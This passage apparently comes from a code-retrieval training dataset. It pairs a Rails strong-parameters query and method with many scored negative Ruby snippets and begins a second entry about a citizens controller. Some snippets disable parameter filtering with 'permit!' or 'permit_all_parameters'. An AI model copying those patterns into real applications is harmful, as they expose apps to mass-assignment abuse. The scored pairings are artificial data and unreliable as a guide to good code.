"0.523231",
"0.5227454",
"0.52226824",
"0.52201617",
"0.5212327",
"0.52079266",
"0.52050185",
"0.51754695",
"0.51726824",
"0.51710224",
"0.5166172",
"0.5159343",
"0.51578903",
"0.51522785",
"0.5152022",
"0.51518047",
"0.51456624",
"0.51398855",
"0.5133759",
"0.5112076",
"0.5111866",
"0.5111866",
"0.5110294",
"0.5106169",
"0.509231",
"0.50873137",
"0.5081088",
"0.508059",
"0.50677156",
"0.50562143",
"0.5050554",
"0.50474834",
"0.50474834",
"0.5036181",
"0.5026331",
"0.5022976",
"0.5015441",
"0.50121695",
"0.5000944",
"0.5000019",
"0.4996878",
"0.4989888",
"0.4989888",
"0.49864885",
"0.49797225",
"0.49785787",
"0.4976161",
"0.49683493",
"0.4965126",
"0.4958034",
"0.49559742",
"0.4954353",
"0.49535993",
"0.4952725",
"0.49467874",
"0.49423352",
"0.49325448",
"0.49282882",
"0.49269363",
"0.49269104",
"0.49252945",
"0.4923091",
"0.49194667",
"0.49174926",
"0.49173003",
"0.49171105",
"0.4915879",
"0.49155936"
] |
0.0
|
-1
|
Never trust parameters from the scary internet, only allow the white list through.
|
def cta_cte_params
params.require(:cta_cte).permit(:matriculacion_id, :nro_cta_cte)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def strong_params\n params.require(:user).permit(param_whitelist)\n end",
"def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end",
"def allow_params_authentication!; end",
"def allowed_params\n ALLOWED_PARAMS\n end",
"def default_param_whitelist\n [\"mode\"]\n end",
"def param_whitelist\n [:role, :title]\n end",
"def expected_permitted_parameter_names; end",
"def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"def strong_params\n params.require(:team_member).permit(param_whitelist)\n end",
"def permitir_parametros\n \t\tparams.permit!\n \tend",
"def strong_params\n params.require(:community).permit(param_whitelist)\n end",
"def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end",
"def strong_params\n params.require(:education).permit(param_whitelist)\n end",
"def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end",
"def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end",
"def param_whitelist\n [:rating, :review]\n end",
"def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end",
"def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end",
"def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end",
"def valid_params_request?; end",
"def strong_params\n params.require(:experience).permit(param_whitelist)\n end",
"def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def whitelist_url_params\n params.require(:whitelist_url).permit(:domain)\n end",
"def allowed_params\n params.require(:allowed).permit(:email)\n end",
"def permitted_params\n []\n end",
"def trim_whitelisted(params, whitelist)\n # remove any parameters that are not whitelisted\n params.each do |key, value|\n # if white listed\n if whitelist.include? key\n # strip the parameters of any extra spaces, save as string\n params[key] = value.to_s.strip\n else\n # delete any unauthorized parameters\n params.delete key\n end\n end\n params\n end",
"def safe_params\n params.permit(:id, :name, :origin, :emails => []); #emails is an array\n end",
"def query_param\n\t\tparams.permit(:first_name, :last_name, :phone)\n\tend",
"def strong_params\n params.require(:success_metric).permit(param_whitelist)\n end",
"def devise_filter\r\n logger.debug(\"In devise_filter =>PARAMS: #{params.inspect}\")\r\n\r\n # White list for sign_up\r\n devise_parameter_sanitizer.for(:sign_up) { |u| u.permit(user_whitelist) }\r\n\r\n # White list for account update\r\n devise_parameter_sanitizer.for(:account_update) { |u| u.permit(user_whitelist, :current_password) }\r\n\r\n # White list for Invitation creation\r\n devise_parameter_sanitizer.for(:invite) { |u| u.permit(:account_type, :email, :invitation_token)}\r\n\r\n # White list for accept invitation\r\n devise_parameter_sanitizer.for(:accept_invitation) { |u| u.permit(user_whitelist, :invitation_token)}\r\n\r\n end",
"def whitelisted_user_params\n params.require(:user).\n permit( :first_name, :last_name, :email,:password,:password_confirmation,:birthday,:gender)\n end",
"def user_params\n ActionController::Parameters.permit_all_parameters = true\n params.require(:user) #.permit(:name, :surname, :phone, :password, :email, :time_zone)\n end",
"def strong_params\n params.require(:metric_change).permit(param_whitelist)\n end",
"def safe_params\n params.require(:user).permit(:name)\n end",
"def get_params\n\t\treturn ActionController::Parameters.new(self.attributes).permit(\"account_id\", \"title\", \"category\", \"introduction\", \"tags\", \"segment_type\", \"visible\", \"status\", \"main_image\")\n\tend",
"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def url_whitelist; end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def backend_user_params\n params.permit!\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.6981269",
"0.6783559",
"0.6746007",
"0.67423046",
"0.6735905",
"0.6593568",
"0.6504213",
"0.649792",
"0.6482664",
"0.6478558",
"0.64566684",
"0.64392304",
"0.6380194",
"0.6376366",
"0.636562",
"0.63208145",
"0.63006365",
"0.63001287",
"0.6292953",
"0.62927175",
"0.62911004",
"0.6290563",
"0.6284484",
"0.62436926",
"0.6239928",
"0.62184125",
"0.62158304",
"0.6210187",
"0.6194002",
"0.61786795",
"0.61759156",
"0.617342",
"0.6162248",
"0.61528504",
"0.61527",
"0.6146735",
"0.6122714",
"0.61169004",
"0.61082125",
"0.61052656",
"0.6091036",
"0.60807735",
"0.6070328",
"0.60634184",
"0.60213035",
"0.6017676",
"0.6013606",
"0.601112",
"0.6007318",
"0.6007318",
"0.6001461",
"0.6001135",
"0.59966296",
"0.5992013",
"0.59919006",
"0.599182",
"0.5980991",
"0.59676576",
"0.5960269",
"0.59588194",
"0.59585214",
"0.59578323",
"0.5953503",
"0.5952524",
"0.59432703",
"0.5939858",
"0.59388995",
"0.59388995",
"0.5933866",
"0.5930038",
"0.5925672",
"0.5924214",
"0.59169805",
"0.59106255",
"0.5910254",
"0.59086037",
"0.5906149",
"0.5898294",
"0.58981514",
"0.5896171",
"0.58944154",
"0.58943397",
"0.5892325",
"0.5887239",
"0.58842856",
"0.5880209",
"0.5874584",
"0.58694917",
"0.5868719",
"0.58669394",
"0.5866552",
"0.58662945",
"0.5864085",
"0.58623236",
"0.5862258",
"0.58597904",
"0.58579135",
"0.58542645",
"0.5853335",
"0.58517563",
"0.5850614"
] |
0.0
|
-1
|
GET /citizens/1 GET /citizens/1.json
|
def show
@breadcrumbs = [["Home", root_url], [@citizen.to_s, "/citizens/#{@citizen.id}"]]
@projects = Project.for_citizen(@citizen)
@facilities = Facility.for_citizen(@citizen)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def index\n @citations = Citation.all\n\n render json: @citations\n end",
"def show\n render json: @citation\n end",
"def show\n render json: @citation\n end",
"def index\n @civil_citations = CivilCitation.all\n end",
"def list_citizens\n\t\tputs \"\"\n\t\t@citizens.each do |citizen|\n\t\t\tprint \"#{citizen.voter_id}\\t#{citizen.class}, #{citizen.name}, \"\n\t\t\tputs case citizen\n\t\t\twhen Person then citizen.politics\n\t\t\twhen Politician then citizen.party\n\t\t\tend\n\t\tend\n\t\tputs \"No citizens yet!\" if @citizens.none?\n\tend",
"def index\n @q = Citation.search(params[:q])\n @q.sorts = 'id asc' if @q.sorts.empty?\n if params[:page] != \"false\"\n @citations = @q.result(distinct: true).page(params[:page])\n else\n @citations = @q.result(distinct: true)\n end\n\n respond_to do |format|\n format.html { render :index }\n format.json { render :json => @citations.to_json(\n :only => [:title, :author, :bibtex, :journal, :year,\n :volume, :pages, :month, :note, :key]\n )\n }\n end\n end",
"def show\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critic }\n end\n end",
"def show\n @colaboration = Colaboration.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colaboration }\n end\n end",
"def index\n\n if param? params[:random]\n\n @citation = Citation.order(\"RANDOM()\").first\n\n render json: @citation \n\n else\n\n @citations = Citation.all\n\n render json: @citations\n\n end\n end",
"def show\n @court = Court.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end",
"def index\n url = \"https://data.cityofchicago.org/resource/x2n5-8w5q.json\"\n options = { :body => {:status => text}, :basic_auth => @auth }\n @response = HTTParty.get(url, options)\n\n @crime = Hash.new\n\n #@crime['block'] = @response[0]['block']\n @crime = @response\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @gittos }\n end\n end",
"def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end",
"def show\n @clonet = Clonet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clonet }\n end\n end",
"def index\n @courts = Court.by_name\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courts }\n end\n end",
"def index\n @citizenship_classes = @grantee.citizenship_classes.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @citizenship_classes }\n end\n end",
"def show\n @crime = Crime.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crime }\n end\n end",
"def show\n @citizenship_class = @grantee.citizenship_classes.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @citizenship_class }\n end\n end",
"def show\n @research_c = ResearchC.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @research_c }\n end\n end",
"def index\n @civilizations = Civilization.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @civilizations }\n end\n end",
"def show\n @corgi = Corgi.find(params[:id])\n respond_to do |format|\n format.html \n format.json { render json: @corgi }\n end \n end",
"def index\n authorize(@project, policy_class: CitationPolicy)\n @citations = CitationSupplyingService.new.find_by_project_id(@project.id)\n respond_to do |format|\n format.fhir_xml { render xml: @citations }\n format.fhir_json { render json: @citations }\n format.html { render json: @citations }\n format.json { render json: @citations }\n format.xml { render xml: @citations }\n format.all { render text: 'Only HTML, JSON and XML are currently supported', status: 406 }\n end\n end",
"def show\n @clinician = Clinician.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinician }\n end\n end",
"def show\n @ci = Ci.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @ci }\n end\n end",
"def show\n @cerc = Cerc.find(params[:id])\n\n render json: @cerc\n end",
"def show\n @civilization = Civilization.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @civilization }\n end\n end",
"def show\n @county = County.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @county }\n end\n end",
"def show\n @clinicalsection = Clinicalsection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinicalsection }\n end\n end",
"def set_citizen\n @citizen = Citizen.find(params[:id])\n end",
"def show\n @condolence = Condolence.find(params[:id])\n @orbituarysite = current_user.orbituarysites.new\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @condolence }\n end\n end",
"def show\n @concour = Concour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @concour }\n end\n end",
"def show\n @crust = Crust.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crust }\n end\n end",
"def index\n @references_citations = References::Citation.all\n end",
"def index\n @cicts = Cict.all\n end",
"def index\n @disciplines = Discipline.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @disciplines }\n end\n end",
"def show\n @court = Court.friendly.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end",
"def show\n @concerts = @artist.concerts.paginate(page: params[:page], per_page:6)\n end",
"def show\n @csosn = Csosn.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @csosn }\n end\n end",
"def search_citation\n doc_id = params[:doc_id]\n doc_num = params[:doc_num]\n citations = []\n error = false\n\n citation = Citation.find_by citation_id: doc_id\n\n if citation\n citations << citation.citation_mla\n citations << citation.citation_apa\n citations << citation.citation_chicago\n else\n url = URI.escape(\"http://scholar.google.com/scholar?q=info:#{doc_id}:scholar.google.com/&output=cite&scirp=#{doc_num}\")\n uri = URI.parse(url)\n req = Net::HTTP::Get.new(uri)\n\n res = Net::HTTP.start(uri.hostname, uri.port) {|http|\n http.request(req)\n }\n\n response = res.body\n begin\n cleaned = res.body.dup.force_encoding('UTF-8')\n unless cleaned.valid_encoding?\n cleaned = res.body.encode( 'UTF-8', 'Windows-1251' )\n end\n response = cleaned\n rescue EncodingError\n response.encode!( 'UTF-8', invalid: :replace, undef: :replace )\n end\n\n result_indexes = []\n\n response.to_enum(:scan,/class=\"gs_citr\">/i).map do |m,|\n result_indexes << $`.size+16\n end\n\n close_div_indexes = []\n\n response.to_enum(:scan,/<\\/div><\\/td>/i).map do |m,|\n close_div_indexes << $`.size-1\n end\n\n for n in 0..2\n citations[n] = response[result_indexes[n]..close_div_indexes[n]]\n end\n\n begin\n project = Project.find(params[:project_id])\n citation = project.citations.create(:citation_id => doc_id, :citation_mla => citations[0], :citation_apa => citations[1], :citation_chicago => citations[2])\n if !citation.save\n error = true\n end\n rescue\n # ignored\n end\n end\n\n respond_to do |format|\n if !error\n format.js { render json: citations }\n else\n format.js { render json: error }\n end\n end\n end",
"def show\n @complaint = Complaint.find(params[:id])\n\n render json: @complaint\n end",
"def index\n @conseilles = Conseille.all\n respond_to do |format|\n format.html\n format.json { render json: @conseilles}\n end\n end",
"def index\n @courts = Court.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @courts }\n end\n end",
"def show\n @discipline = Discipline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discipline }\n end\n end",
"def show\n @intern = Intern.find(params[:id])\n @internships = Internship.where(intern_id: @intern.id)\n respond_to do |format|\n format.html #show.html.erb\n format.json { render json: @intern }\n end\n end",
"def show\n @cofi = Cofi.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cofi }\n end\n end",
"def show\n @courtstation = Courtstation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @courtstation }\n end\n end",
"def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end",
"def show\n @collaborator = Collaborator.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @collaborator }\n end\n end",
"def show\n @cyclist = Cyclist.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cyclist }\n end\n end",
"def index\n @cocktails = Cocktail.where(\"oficial = ?\", false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @cocktails }\n end\n end",
"def show\n @concerts = Concert.find(params[:id])\n end",
"def index\n @disciplines = Discipline.all\n #respond_to do |format|\n # format.json { render json: @disciplines, status: :ok }\n #end\n #render json: @disciplines, status: :ok\n respond_with @disciplines\n end",
"def index\n @clins = Clin.all\n end",
"def index\n @clinicians = Clinician.all\n end",
"def show\n render json: course\n end",
"def show\n @citation = Citation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @citation }\n end\n end",
"def show\n @circulation = Circulation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @circulation }\n end\n end",
"def show\n @contest = Contest.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contest }\n end\n end",
"def show\n render json: @course, status: :found\n end",
"def show\n @court_type = CourtType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court_type }\n end\n end",
"def census\n # @census ||= JSON.parse(::HTTPClient.get(\"#{@opts[:url]}:9631/census\").body)\n @census ||= JSON.parse(inspec.http(\"#{@opts[:url]}:9631/census\").body)\n end",
"def index\n @cities = City.all\n\n render json: @cities\n end",
"def show\n @announce_c = AnnounceC.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @announce_c }\n end\n end",
"def recent_citations\n courtlistener = CourtListener.new\n citations = courtlistener.citing_opinions(cite1)\n citation_list = citations[0..4].map do |citation|\n data_hash = courtlistener.case_data_by_opinion(citation[\"citing_opinion\"])\n c = CLOpinion.new(data_hash)\n c.id = courtlistener.id_from_url(citation[\"citing_opinion\"])\n c\n end\n end",
"def show\n @clinic_doctor = ClinicDoctor.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinic_doctor }\n end\n end",
"def show\n @cita = Cita.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cita }\n end\n end",
"def index\n @cannings = Canning.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @cannings }\n end\n end",
"def show\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contest }\n end\n end",
"def show\n @recipy = Recipy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipy }\n end\n end",
"def show\n @cec_complaint = CecComplaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cec_complaint }\n end\n end",
"def show\n @constitution = Constitution.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @constitution }\n end\n end",
"def index\n @clues = Clue.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @clues }\n end\n end",
"def citations\n Footnote.where(noted_id: id).where(slug: '')\n end",
"def show\n @interest = Interest.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @interest }\n end\n end",
"def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end",
"def show\n @citation = Citation.find(params[:id])\n @galaxies = @citation.galaxies\n @citation.galaxy_ids_array\n\n respond_to do |format|\n format.html { render :show }\n format.json { render :json => @citation.to_json(\n :only => [:title, :author, :bibtex, :journal, :year,\n :volume, :pages, :month, :note, :key],\n :methods => [:galaxy_ids_array]\n )\n }\n end\n end",
"def show\r\n @clinic = Clinic.find_by_id(params[:id])\r\n @donor = current_donor.id\r\n respond_to do |f|\r\n #Render html for the clinic's show erb file\r\n f.html {render :show}\r\n #Get JSON representation of that specific clinic\r\n\t\t\tf.json {render json: @clinic}\r\n\t\tend\r\n end",
"def index\n @cities = City.where(state_id: params[:id])\n respond_to do |format|\n format.json { render :json => @cities.to_json }\n end\n end",
"def show\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @contest }\n end\n end",
"def show\n @contest = Contest.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @contest }\n end\n end",
"def show\n @crowd = Crowd.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @crowd }\n end\n end",
"def index\n @citacaos = Citacao.all\n end",
"def show\n @contestant = Contestant.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @contestant }\n end\n end",
"def show\n @incucai = Incucai.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @incucai }\n end\n end",
"def show\n @casualcomment = Casualcomment.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @casualcomment }\n end\n end",
"def show\n @complaint = Complaint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @complaint }\n end\n end",
"def show\n @county = Entity.where(id: params[:id]).where(entity_type: 'County').first\n respond_with(@county) do |format|\n format.geojson { render text: @county.to_geojson }\n end\n end",
"def show\n render json: @course\n end",
"def show\n @cadet = Cadet.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @cadet }\n end\n end",
"def index\n\n if params[:format].nil? or params[:format] == 'html'\n @iteration = params[:iteration][/\\d+/] rescue 1\n @citations = Citation.sorted_order(\"#{sort_column('citations','author')} #{sort_direction}\").search(params[:search]).paginate(\n :page => params[:page], \n :per_page => params[:DataTables_Table_0_length]\n )\n log_searches(Citation)\n else\n @citations = Citation.api_search(params)\n log_searches(Citation.method(:api_search), params)\n end\n\n respond_to do |format|\n format.html # index.html.erb\n format.js \n format.xml { render :xml => @citations }\n format.csv { render :csv => @citations }\n format.json { render :json => @citations }\n end\n end",
"def show\n @chore = Chore.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @chore }\n end\n end",
"def show\n @discipline = Discipline.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline }\n end\n end",
"def show\n @anniversary = Anniversary.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @anniversary }\n end\n end",
"def new\n @citizenship_class = @grantee.citizenship_classes.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @citizenship_class }\n end\n end",
"def index\n @civilizations = Civilization.all\n end",
"def set_civil_citation\n @civil_citation = CivilCitation.find(params[:id])\n end",
"def index\n @challenges = Challenge.user(current_user)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @challenges }\n end\n end",
"def show\n @colegio = Colegio.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @colegio }\n end\n end",
"def show\n @climate = Climate.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @climate }\n end\n end",
"def index\n @corgis = Corgi.all\n end",
"def cities\n CS.get :us, :ca\n end"
] |
[
"0.7533668",
"0.69480485",
"0.69480485",
"0.67914915",
"0.6541264",
"0.65179116",
"0.6389982",
"0.63654846",
"0.6364497",
"0.6320285",
"0.6315062",
